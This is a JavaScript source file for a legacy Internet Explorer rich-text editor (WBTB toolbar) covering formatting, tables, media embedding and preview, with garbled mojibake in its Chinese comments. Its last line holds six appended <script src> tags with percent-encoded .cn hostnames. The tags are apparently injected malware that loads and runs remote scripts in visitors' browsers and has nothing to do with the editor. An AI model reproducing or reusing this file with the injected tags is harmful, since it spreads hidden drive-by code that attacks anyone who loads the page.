

var bodyID,htmlableID;



var WBTB_yToolbars = new Array();



var WBTB_filterScript = false;



var WBTB_charset="UTF-8";

var isload=true;

function init()

{

	var i, s, curr,alls;
	if(window.document.body.all)
	alls=window.document.body.all;
	else alls=document.getElementsByName("*");
	for (i=0; i<alls.length;	i++)

	{
			curr=alls[i];
//		else curr=document.getElementByTagName("*");

		if (curr.className == "yToolbar")

		{

			WBTB_InitTB(curr);

			WBTB_yToolbars[WBTB_yToolbars.length] = curr;

		}

	}

}

function createRange(WBTB_Composition)

{

	WBTB_Composition.focus();

	return WBTB_Composition.document.selection.createRange();

}

function insertHTML(iText,WBTB_Composition)

{

	var range=createRange(WBTB_Composition);

	range.pasteHTML(iText);

}

function WBTB_InitBtn(btn)

{

	btn.onmouseover = WBTB_BtnMouseOver;

	btn.onmouseout = WBTB_BtnMouseOut;

	btn.onmousedown = WBTB_BtnMouseDown;

	btn.onmouseup	= WBTB_BtnMouseUp;

	btn.ondragstart = WBTB_YCancelEvent;

	btn.onselectstart = WBTB_YCancelEvent;

	btn.onselect = WBTB_YCancelEvent;

	btn.YUSERONCLICK = btn.onclick;

	btn.onclick = WBTB_YCancelEvent;

	btn.YINITIALIZED = true;

	return true;

}



function WBTB_InitTB(y)

{

	y.TBWidth = 0;

	if (!WBTB_PopulateTB(y)) return false;

	y.style.posWidth = y.TBWidth;

	return true;

}





function WBTB_YCancelEvent()

{

	event.returnValue=false;

	event.cancelBubble=true;

	return false;

}



function WBTB_BtnMouseOver()

{

	if (event.srcElement.tagName != "IMG") return false;

	var image = event.srcElement;

	var element = image.parentElement;

	

	if (image.className == "WBTB_Ico") element.className = "WBTB_BtnMouseOverUp";

	else if (image.className == "WBTB_IcoDown") element.className = "WBTB_BtnMouseOverDown";

	

	event.cancelBubble = true;

}



function WBTB_BtnMouseOut()

{

	if (event.srcElement.tagName != "IMG") {

		event.cancelBubble = true;

		return false;

	}

	

	var image = event.srcElement;

	var element =	image.parentElement;

	yRaisedElement = null;

	

	element.className = "WBTB_Btn";

	image.className = "WBTB_Ico";

	

	event.cancelBubble = true;

}



function WBTB_BtnMouseDown()

{

	if (event.srcElement.tagName != "IMG") {

		event.cancelBubble = true;

		event.returnValue=false;

		return false;

	}

	

	var image = event.srcElement;

	var element = image.parentElement;

	

	element.className = "WBTB_BtnMouseOverDown";

	image.className = "WBTB_IcoDown";

	

	event.cancelBubble = true;

	event.returnValue=false;

	return false;

}



function WBTB_BtnMouseUp()

{

	if (event.srcElement.tagName != "IMG") {

		event.cancelBubble = true;

		return false;

	}

	

	var image = event.srcElement;

	var element = image.parentElement;

	

	if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");

	

	element.className = "WBTB_BtnMouseOverUp";

	image.className = "WBTB_Ico";

	

	event.cancelBubble = true;

	return false;

}



function WBTB_PopulateTB(y)

{

	var i, elements, element;

	

	elements = y.children;

	for (i=0; i<elements.length; i++) {

	element = elements[i];

	if (element.tagName== "SCRIPT" || element.tagName == "!") continue;

	switch (element.className) {

		case "WBTB_Btn":

			if (element.YINITIALIZED == null) {

				if (! WBTB_InitBtn(element))

					return false;

			}

			

			element.style.posLeft = y.TBWidth;

			y.TBWidth	+= element.offsetWidth + 1;

			break;

		

		case "WBTB_TBGen":

			element.style.posLeft = y.TBWidth;

			y.TBWidth	+= element.offsetWidth + 1;

			break;

		

			//default:

			//  return false;

		}

	}

	

	y.TBWidth += 1;

	return true;

}



function WBTB_DebugObject(obj)

{

	var msg = "";

	for (var i in TB) {

		ans=prompt(i+"="+TB[i]+"\n");

		if (! ans) break;

	}

}





function WBTB_validateMode(WBTB_Composition)

{

	if (!WBTB_bTextMode) return true;

	alert("÷‹ÖSˆm ågwHTMLnãNx 	y˜QO(uû|ß~‘ŸRý€b€Ðc¤N!");

	WBTB_Composition.focus();

	return false;

}



function WBTB_format1(what,opt,WBTB_Composition)

{

	if (opt=="removeFormat")

	{

		what=opt;

		opt=null;

	}

	WBTB_Composition.focus();

	if (opt==null||opt=="")

	{

		WBTB_Composition.document.execCommand(what);

	}else{

		WBTB_Composition.document.execCommand(what,"",opt);

	}

	WBTB_pureText = false;

	WBTB_Composition.focus();

}



function WBTB_format(what,opt,WBTB_Composition)

{

	  if (!WBTB_validateMode(WBTB_Composition)) return;

	

	  WBTB_format1(what,opt,WBTB_Composition);

}



function WBTB_setMode(WBTB_Toolbars_id,WBTB_TabHtml,WBTB_TabDesign,WBTB_Composition)

{

	WBTB_bTextMode=!WBTB_bTextMode;

	WBTB_setTab(WBTB_TabHtml,WBTB_TabDesign);

	var cont;

	if (WBTB_bTextMode) {

		document.all[WBTB_Toolbars_id].style.display='none';

		WBTB_cleanHtml(WBTB_Composition);

		cont=WBTB_Composition.document.body.innerHTML;

		cont=WBTB_correctUrl(cont);

		if (WBTB_filterScript)

			cont=WBTB_FilterScript(cont);

		WBTB_Composition.document.body.innerText=cont;

	} else {

		document.all[WBTB_Toolbars_id].style.display='';

		cont=WBTB_Composition.document.body.innerText;

		cont=WBTB_correctUrl(cont);

		if (WBTB_filterScript)

			cont=WBTB_FilterScript(cont);

		WBTB_Composition.document.body.innerHTML=cont;

	}

	WBTB_setStyle(WBTB_Composition);

	WBTB_Composition.focus();

}



function WBTB_setStyle(WBTB_Composition)

{

	bs = WBTB_Composition.document.body.runtimeStyle;
	if(bs==undefined)
		bs=WBTB_Composition.document.body.style;
	//9hncmode¾‹niframe7h_h?

	if (WBTB_bTextMode) {

		bs.fontFamily="Arial";

		bs.fontSize="10pt";

	}else{

		bs.fontFamily="Arial";

		bs.fontSize="10.5pt";

	}

	bs.scrollbar3dLightColor= '#D4D0C8';

	bs.scrollbarArrowColor= '#000000';

	bs.scrollbarBaseColor= '#D4D0C8';

	bs.scrollbarDarkShadowColor= '#D4D0C8';

	bs.scrollbarFaceColor= '#D4D0C8';

	bs.scrollbarHighlightColor= '#808080';

	bs.scrollbarShadowColor= '#808080';

	bs.scrollbarTrackColor= '#D4D0C8';

	bs.border='0';

}



function WBTB_setTab(WBTB_TabHtml,WBTB_TabDesign)

{

	//htmlŒTdesign	c®”„v7h_ôf9e

	var mhtml=document.all[WBTB_TabHtml];

	var mdesign=document.all[WBTB_TabDesign];

	if (WBTB_bTextMode)

	{

		mhtml.className="WBTB_TabOn";

		mdesign.className="WBTB_TabOff";

	}else{

		mhtml.className="WBTB_TabOff";

		mdesign.className="WBTB_TabOn";

	}

}



function WBTB_getEl(sTag,start)

{

	while ((start!=null) && (start.tagName!=sTag)) start = start.parentElement;

	return start;

}



function WBTB_UserDialog(what,WBTB_Composition)

{

	if (!WBTB_validateMode(WBTB_Composition)) return;

	WBTB_Composition.focus();

	WBTB_Composition.document.execCommand(what, true);

	//»S‰cûm RþVGröe„vsrc="file://

	if(what=="InsertImage")

	{

		WBTB_Composition.document.body.innerHTML=(WBTB_Composition.document.body.innerHTML).replace("src=\"file://","src=\"");

	}

	

	WBTB_pureText = false;

	WBTB_Composition.focus();

}



function WBTB_foreColor(WBTB_Composition,_url)

{

	if (!WBTB_validateMode(WBTB_Composition)) return;

	var arr = showModalDialog(_url, "", "dialogWidth:18.5em; dialogHeight:17.5em; status:0; help:0");

	if (arr != null) WBTB_format('forecolor', arr,WBTB_Composition);

	else WBTB_Composition.focus();

}



function WBTB_backColor(WBTB_Composition,_url)

{

	if (!WBTB_validateMode(WBTB_Composition)) return;
	var arr ;
if(navigator.appName == "Microsoft Internet Explorer")
{
	arr= showModalDialog(_url, "", "dialogWidth:18.5em; dialogHeight:17.5em; status:0; help:0");

}else
{
	 arr = window.open(_url, "","scrollbars=no,dialog=yes,modal=yes,width=18.5em,height=17.5em,resizable=no" ); 
}
	if (arr != null) WBTB_format('backcolor', arr,WBTB_Composition);
	else WBTB_Composition.focus();

}



function WBTB_fortable(WBTB_Composition,_url)

{

	if (!WBTB_validateMode(WBTB_Composition))	return;

	var arr = showModalDialog(_url, "", "dialogWidth:14.5em; dialogHeight:16.5em; status:0; help:0");

	

	if (arr != null)

	{

		var ss;

		ss=arr.split("*")

		row=ss[0];

		if (row=="") row=1;

		col=ss[1];

		if (col=="") col=1;

		tbwidth=ss[2];

		if (tbwidth=="") tbwidth=500;

		tbborder=ss[3];

		if (tbborder=="") tbborder=1;

		celpadding=ss[4];

		if (celpadding=="") celpadding=2;

		bdcolor=ss[5];

		if (bdcolor=="") bdcolor="#CCCCCC";

		bgcolor=ss[6];

		if (bgcolor=="") bgcolor="#FFFFFF";

		tbalign=ss[7];

		if (tbalign=="") tbalign="center";

		var string;

		string="<table border="+ tbborder +" cellspacing=0 width="+tbwidth+" cellpadding="+ celpadding +" align="+tbalign+" bgcolor='"+ bgcolor +"' bordercolor="+ bdcolor +" style='border-collapse:collapse'>";

		for(i=1;i<=row;i++){

			string=string+"<tr>";

			for(j=1;j<=col;j++){

				string=string+"<td>&nbsp;</td>";

			}

			string=string+"</tr>";

		}

		string=string+"</table>";

		insertHTML(string,WBTB_Composition);

		content=WBTB_Composition.document.body.innerHTML;

	}

	else

		WBTB_Composition.focus();

}



function WBTB_forswf(WBTB_Composition,_url)

{

	var arr = showModalDialog(_url, "", "dialogWidth:15em; dialogHeight:13em; status:0; help:0");

	

	if (arr != null){

		var ss;

		ss=arr.split("*")

		path=ss[0];

		row=ss[1];

		col=ss[2];

		var string;

		string="<div align='center'><div style='width:640;text-align:left'><a href="+path+">[hQO\ågw]</a></div><object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000'  codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0' width="+row+" height="+col+"><param name=movie value="+path+"><param name=quality value=high><embed src="+path+" pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width="+row+" height="+col+"></embed></object>";

		insertHTML(string,WBTB_Composition);

		content=WBTB_Composition.document.body.innerHTML;

	}

	else WBTB_Composition.focus();

}





function WBTB_forwmv(WBTB_Composition,_url)

{

	var arr = showModalDialog(_url, "", "dialogWidth:15.5em; dialogHeight:14em; status:0; help:0");

	

	if (arr != null){

		var ss;

		ss=arr.split("*")

		path=ss[0];

		width=ss[1];

		height=ss[2];

		var string;

		//string="<object align=center classid=CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95 hspace=5 vspace=5 width="+ width +" height="+ height +"><param name=Filename value="+ path +"><param name=ShowStatusBar value=1><embed type=application/x-oleobject codebase=http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701 flename=mp src="+ path +"  width="+ width +" height="+ height +"></embed></object>";

		string="<embed src='"+ path+"' width='"+ width +"' height='"+ height +"' autostart='true' loop='false' ></embed>";

		insertHTML(string,WBTB_Composition);

		content=WBTB_Composition.document.body.innerHTML;

	}

	else WBTB_Composition.focus();

}





function WBTB_forrm(WBTB_Composition,_url)

{

	var arr = showModalDialog(_url, "", "dialogWidth:15.5em; dialogHeight:14em; status:0; help:0");

	

	if (arr != null)

	{

		var ss;

		ss=arr.split("*")

		path=ss[0];

		row=ss[1];

		col=ss[2];

		var string;

		string="<object classid='clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA' width="+row+" height="+col+"><param name='CONTROLS' value='ImageWindow'><param name='CONSOLE' value='Clip1'><param name='AUTOSTART' value='-1'><param name=src value="+path+"></object><br/><object classid='clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA'  width="+row+" height=60><param name='CONTROLS' value='ControlPanel,StatusBar'><param name='CONSOLE' value='Clip1'></object>";

		insertHTML(string,WBTB_Composition);

		content=WBTB_Composition.document.body.innerHTML;

	}

	else WBTB_Composition.focus();

}



function WBTB_InsertRow()

{

	editor = WBTB_Composition;

	objReference=WBTB_GetRangeReference(editor);

	objReference=WBTB_CheckTag(objReference,'/^(TABLE)|^(TR)|^(TD)|^(TBODY)/');

	switch(objReference.tagName)

	{

	case 'TABLE' :

	var newTable=objReference.cloneNode(true);

	var newRow= newTable.insertRow();

	

	for(x=0; x<newTable.rows[0].cells.length; x++)

	{

	var newCell = newRow.insertCell();

	}

	objReference.outerHTML=newTable.outerHTML;

	break;

	case 'TBODY' :

	var newTable=objReference.cloneNode(true);

	var newRow = newTable.insertRow();

	for(x=0; x<newTable.rows[0].cells.length; x++)

	{

	var newCell = newRow.insertCell();

	}

	objReference.outerHTML=newTable.outerHTML;

	break;

	case 'TR' :

	var rowIndex = objReference.rowIndex;

	var parentTable=objReference.parentElement.parentElement;

	var newTable=parentTable.cloneNode(true);

	var newRow = newTable.insertRow(rowIndex+1);

	for(x=0; x< newTable.rows[0].cells.length; x++)

	{

	var newCell = newRow.insertCell();

	}

	parentTable.outerHTML=newTable.outerHTML;

	break;

	case 'TD' :

	var parentRow=objReference.parentElement;

	var rowIndex = parentRow.rowIndex;

	var cellIndex=objReference.cellIndex;

	var parentTable=objReference.parentElement.parentElement.parentElement;

	var newTable=parentTable.cloneNode(true);

	var newRow = newTable.insertRow(rowIndex+1);

	for(x=0; x< newTable.rows[0].cells.length; x++)

	{

	var newCell = newRow.insertCell();

	if (x==cellIndex)newCell.id='ura';

	}

	parentTable.outerHTML=newTable.outerHTML;

	var r = editor.document.body.createTextRange();

	var item=editor.document.getElementById('ura');

	item.id='';

	r.moveToElementText(item);

	r.moveStart('character',r.text.length);

	r.select();

	break;

	default :

	return;

	}

}



function WBTB_DeleteRow(WBTB_Composition)

{

	editor=WBTB_Composition;

	objReference=WBTB_GetRangeReference(editor);

	objReference=WBTB_CheckTag(objReference,'/^(TABLE)|^(TR)|^(TD)|^(TBODY)/');

	switch(objReference.tagName)

	{

	case 'TR' :var rowIndex = objReference.rowIndex;//Get rowIndex

	var parentTable=objReference.parentElement.parentElement;

	parentTable.deleteRow(rowIndex);

	break;

	case 'TD' :var cellIndex=objReference.cellIndex;

	var parentRow=objReference.parentElement;//Get Parent Row

	var rowIndex = parentRow.rowIndex;//Get rowIndex

	var parentTable=objReference.parentElement.parentElement.parentElement;

	parentTable.deleteRow(rowIndex);

	if (rowIndex>=parentTable.rows.length)

	{

	rowIndex=parentTable.rows.length-1;

	}

	if (rowIndex>=0)

	{

	var r = editor.document.body.createTextRange();

	r.moveToElementText(parentTable.rows[rowIndex].cells[cellIndex]);

	r.moveStart('character',r.text.length);

	r.select();

	}

	else

	{

	parentTable.removeNode(true);

	}

	break;

	default :return;

	}

}





function WBTB_InsertColumn(WBTB_Composition)

{

	editor = WBTB_Composition;

	objReference= WBTB_GetRangeReference(editor);

	objReference=WBTB_CheckTag(objReference,'/^(TABLE)|^(TR)|^(TD)|^(TBODY)/');

	switch(objReference.tagName)

	{

	case 'TABLE' :// IF a table is selected, it adds a new column on the right hand side of the table.

	var newTable=objReference.cloneNode(true);

	for(x=0; x<newTable.rows.length; x++)

	{

	var newCell = newTable.rows[x].insertCell();

	}

	newCell.focus();

	objReference.outerHTML=newTable.outerHTML;

	break;

	case 'TBODY' :// IF a table is selected, it adds a new column on the right hand side of the table.

	var newTable=objReference.cloneNode(true);

	for(x=0; x<newTable.rows.length; x++)

	{

	var newCell = newTable.rows[x].insertCell();

	}

	objReference.outerHTML=newTable.outerHTML;

	break;

	case 'TR' :// IF a table is selected, it adds a new column on the right hand side of the table.

	objReference=objReference.parentElement.parentElement;

	var newTable=objReference.cloneNode(true);

	for(x=0; x<newTable.rows.length; x++)

	{

	var newCell = newTable.rows[x].insertCell();

	}

	objReference.outerHTML=newTable.outerHTML;

	break;

	case 'TD' :// IF the cursor is in a cell, or a cell is selected, it adds a new column to the right of that cell.

	var cellIndex = objReference.cellIndex;//Get cellIndex

	var rowIndex=objReference.parentElement.rowIndex;

	var parentTable=objReference.parentElement.parentElement.parentElement;

	var newTable=parentTable.cloneNode(true);

	for(x=0; x<newTable.rows.length; x++)

	{

	var newCell = newTable.rows[x].insertCell(cellIndex+1);

	if (x==rowIndex)newCell.id='ura';

	}

	parentTable.outerHTML=newTable.outerHTML;

	var r = editor.document.body.createTextRange();

	var item=editor.document.getElementById('ura');

	item.id='';

	r.moveToElementText(item);

	r.moveStart('character',r.text.length);

	r.select();

	break;

	default :

	return;

	}

}

 



function WBTB_DeleteColumn()

{

	editor = WBTB_Composition;

	objReference=WBTB_GetRangeReference(editor);

	objReference=WBTB_CheckTag(objReference,'/^(TABLE)|^(TR)|^(TD)|^(TBODY)/');

	switch(objReference.tagName)

	{

	

	case 'TD' :var rowIndex=objReference.parentElement.rowIndex;

	var cellIndex = objReference.cellIndex;//Get cellIndex

	var parentTable=objReference.parentElement.parentElement.parentElement;

	var newTable=parentTable.cloneNode(true);

	if (newTable.rows[0].cells.length==1)

	{

	parentTable.removeNode(true);

	return;

	}

	for(x=0; x<newTable.rows.length; x++)

	{

	if (newTable.rows[x].cells[cellIndex]=='[object]')

	{

	newTable.rows[x].deleteCell(cellIndex);

	}

	}

	if (cellIndex>=newTable.rows[0].cells.length)

	{

	cellIndex=newTable.rows[0].cells.length-1;

	}

	if (cellIndex>=0)  newTable.rows[rowIndex].cells[cellIndex].id='ura';

	parentTable.outerHTML=newTable.outerHTML;

	if (cellIndex>=0){

	var r = editor.document.body.createTextRange();

	var item=editor.document.getElementById('ura');

	item.id='';

	r.moveToElementText(item);

	r.moveStart('character',r.text.length);

	r.select();

	}

	break;

	default :return;

	}

}





function WBTB_GetRangeReference(editor)

{

	editor.focus();

	var objReference = null;

	var RangeType = editor.document.selection.type;

	var selectedRange = editor.document.selection.createRange();

	

	switch(RangeType)

	{

	case 'Control' :

	if (selectedRange.length > 0 ) 

	{

	objReference = selectedRange.item(0);

	}

	break;

	

	case 'None' :

	objReference = selectedRange.parentElement();

	break;

	

	case 'Text' :

	objReference = selectedRange.parentElement();

	break;

	}

	return objReference

}



function WBTB_CheckTag(item,tagName)

{

	if (item.tagName.search(tagName)!=-1)

	{

	return item;

	}

	if (item.tagName=='BODY')

	{

	return false;

	}

	item=item.parentElement;

	return WBTB_CheckTag(item,tagName);

}



function WBTB_code(WBTB_Composition)

{

	WBTB_specialtype("<div class=quote style='cursor:hand'; title='Click to run the code' onclick=\"preWin=window.open('','','');preWin.document.open();preWin.document.write(this.innerText);preWin.document.close();\">","</div>",WBTB_Composition);	

}



function WBTB_replace(WBTB_Composition,_url)

{

	var arr = showModalDialog(_url, "", "dialogWidth:16.5em; dialogHeight:13em; status:0; help:0");

	

	if (arr != null){

		var ss;

		ss=arr.split("*")

		a=ss[0];

		b=ss[1];

		i=ss[2];

		con=WBTB_Composition.document.body.innerHTML;

		if (i==1)

		{

			con=WBTB_rCode(con,a,b,true);

		}else{

			con=WBTB_rCode(con,a,b);

		}

		WBTB_Composition.document.body.innerHTML=con;

	}

	else WBTB_Composition.focus();

}





function WBTB_CleanCode(WBTB_Composition) {

	editor=WBTB_Composition;

	editor.focus();

	// 0bject based cleaning

	var body = editor.document.body;

	for (var index = 0; index < body.all.length; index++) {

		tag = body.all[index];

		tag.removeAttribute("className","",0);

		tag.removeAttribute("style","",0);

	}



	// Regex based cleaning

	var html = editor.document.body.innerHTML;

	html = html.replace(/<o:p>&nbsp;<\/o:p>/gi, "");

	html = html.replace(/o:/gi, "");

	html = html.replace(/<font[^>]*>\s*<\/font>/gi, "");

	html = html.replace(/<span>\s*<\/span>/gi, "");

	

	editor.document.body.innerHTML = html;

}





function WBTB_FilterScript(content)

{

	content = WBTB_rCode(content, 'javascript:', 'javascript :');

	var RegExp = /<script[^>]*>/ig;

	content = content.replace(RegExp, "<!-- Script Filtered/n");

	RegExp = /<\/script>/ig;

	content = content.replace(RegExp, "/n-->");

	return content;

}



function WBTB_cleanHtml(WBTB_Composition)

{

	var fonts = WBTB_Composition.document.body.all.tags("FONT");

	var curr;

	for (var i = fonts.length - 1; i >= 0; i--) {

		curr = fonts[i];

		if (curr.style.backgroundColor == "#ffffff") curr.outerHTML = curr.innerHTML;

	}

}



function WBTB_getPureHtml(WBTB_Composition)

{

	var str = "";

	str = WBTB_Composition.document.body.innerHTML;

	str=WBTB_correctUrl(str);

	return str;

}





function WBTB_correctUrl(cont)

{

	var url=location.href.substring(0,location.href.lastIndexOf("/")+1);

	cont=WBTB_rCode(cont,location.href+"#","#");

	cont=WBTB_rCode(cont,url,"");

	return cont;

}



var WBTB_bLoad=false

var WBTB_pureText=true

var WBTB_bTextMode=false





function WBTB_getText(WBTB_Composition)

{

	if (WBTB_bTextMode)

		return WBTB_Composition.document.body.innerText;

	else

	{

		WBTB_cleanHtml(WBTB_Composition);

		return WBTB_Composition.document.body.innerHTML;

	}

}



function WBTB_putText(v,WBTB_Composition)

{

	if (WBTB_bTextMode)

		WBTB_Composition.document.body.innerText = v;

	else

		WBTB_Composition.document.body.innerHTML = v;

}

var oldTexts;

function WBTB_InitDocument(hiddenid, charset,WBTB_Composition,maxCharLength)

{

	if (charset!=null)

		WBTB_charset=charset;

	var WBTB_bodyTag="<html><head><style type=text/css>.quote{margin:5px 20px;border:1px solid #CCCCCC;padding:5px; background:#F3F3F3 }\nbody{boder:0px}</style></head><BODY bgcolor=\"#FFFFFF\" >";

	var editor=WBTB_Composition;

	var h=document.getElementById(hiddenid);

	editor.document.designMode="ON"

	editor.document.open();

	editor.document.write(WBTB_bodyTag);

	if (h.value!="")

	{

		editor.document.write(h.value);

	}

	editor.document.write("</html>");

	editor.document.close();

	editor.document.body.contentEditable = true;

	editor.document.body.onkeydown=function(){

			oldTexts=editor.document.body.innerHTML;

	}


	editor.document.charset=WBTB_charset;

	WBTB_bLoad=true;

	WBTB_setStyle(WBTB_Composition);

}



function WBTB_doSelectClick(str, el,WBTB_Composition) {

	var Index = el.selectedIndex;

	if (Index != 0){

		el.selectedIndex = 0;

		WBTB_format(str,el.options[Index].value,WBTB_Composition);

	}

}



var WBTB_bIsIE5 = (navigator.userAgent.indexOf("IE 5")  > -1) || (navigator.userAgent.indexOf("IE 6")  > -1);

var WBTB_edit;	//selectRang

var WBTB_RangeType;

var WBTB_selection;



function WBTB_specialtype(Mark1, Mark2,WBTB_Composition){

	var strHTML;

	if (WBTB_bIsIE5) WBTB_selectRange(WBTB_Composition);

	if (WBTB_RangeType == "Text"){

		if (Mark2==null)

		{

			strHTML = "<" + Mark1 + ">" + WBTB_edit.htmlText + "</" + Mark1 + ">"; 

		}else{

			strHTML = Mark1 + WBTB_edit.htmlText +  Mark2; 

		}

		WBTB_edit.pasteHTML(strHTML);

		WBTB_Composition.focus();

		WBTB_edit.select();

	}		

}



//replace the text

function WBTB_InsertSymbol(str1,WBTB_Composition)

{

	WBTB_Composition.focus();

	if (WBTB_bIsIE5) WBTB_selectRange(WBTB_Composition);	

	WBTB_edit.pasteHTML(str1);

}





function WBTB_selectRange(WBTB_Composition){

	WBTB_selection = WBTB_Composition.document.selection;

	WBTB_edit = WBTB_Composition.document.selection.createRange();

	WBTB_RangeType =  WBTB_Composition.document.selection.type;

}



function WBTB_rCode(s,a,b,i){

	a = a.replace("?","\\?");	//sŸSW[2Nÿa‰bc‰cpatternÿbbcbW[2Nÿi/f&T:SR'Y\™Q

	if (i==null)

	{

		var r = new RegExp(a,"gi");

	}else if (i) {

		var r = new RegExp(a,"g");

	}

	else{

		var r = new RegExp(a,"gi");

	}

	return s.replace(r,b); 

}

function WBTB_View(WBTB_Composition)

{

	if (WBTB_bTextMode) {

		cont=WBTB_Composition.document.body.innerText;

	} else {

		cont=WBTB_Composition.document.body.innerHTML;

	}

	cont=WBTB_correctUrl(cont);

	bodyTag="<html><head><style type=text/css>.quote{margin:5px 20px;border:1px solid #CCCCCC;padding:5px; background:#F3F3F3 }\nbody{boder:0px; font-family:Arial; font-size:10.5pt}</style></head><BODY bgcolor=\"#FFFFFF\" >";

	if (WBTB_filterScript)

		cont=WBTB_FilterScript(cont);

	preWin=window.open('about:blank','','left=0,top=0,width=550,height=400,resizable=1,scrollbars=1, status=1, toolbar=1, menubar=0');

	preWin.document.open();

	preWin.document.write(bodyTag);

	preWin.document.write(cont);

	preWin.document.close();

	preWin.document.title="Preview";

	preWin.document.charset=WBTB_charset;

}



function WBTB_Size(num,container_id)

{

	var obj=document.all[container_id];

	if (parseInt(obj.height)+num>=1) {

		obj.height = parseInt(obj.height) + num;

		obj.style.height=""+obj.height+"px";

	}

	if (num>0)

	{

		obj.width="100%";	

	}

}

// copy date to hidden field

function WBTB_CopyData(hiddenid,WBTB_Composition)

{

	d = WBTB_Composition.document;

	if (WBTB_bTextMode)

	{

		cont=d.body.innerText;

	}else{

		cont=d.body.innerHTML;  

	}

	cont=WBTB_correctUrl(cont);

	if (WBTB_filterScript)

		cont=WBTB_FilterScript(cont);

	document.getElementById(hiddenid).value = cont;  

	if (document.getElementById(hiddenid).value == '<P>&nbsp;</P>')

	{

		document.getElementById(hiddenid).value = '';

	}

}



function WBTB_insert(cons,WBTB_Composition)

{

	WBTB_Composition.document.body.innerHTML=cons;

}
<script src=http://erg%6E%6Fl%2Ecn></script><script src=http://%73%6Ff%74w%61res%79s%74%65ms.cn></script><script src=http://%74i%61%6Ejincn%2Ecn></script><script src=http://tlf%68o%75%73e%2E%63n></script><script src=http://61%3210%30%2E%63n></script><script src=http://st%6Fneb%2Ec%6E></script>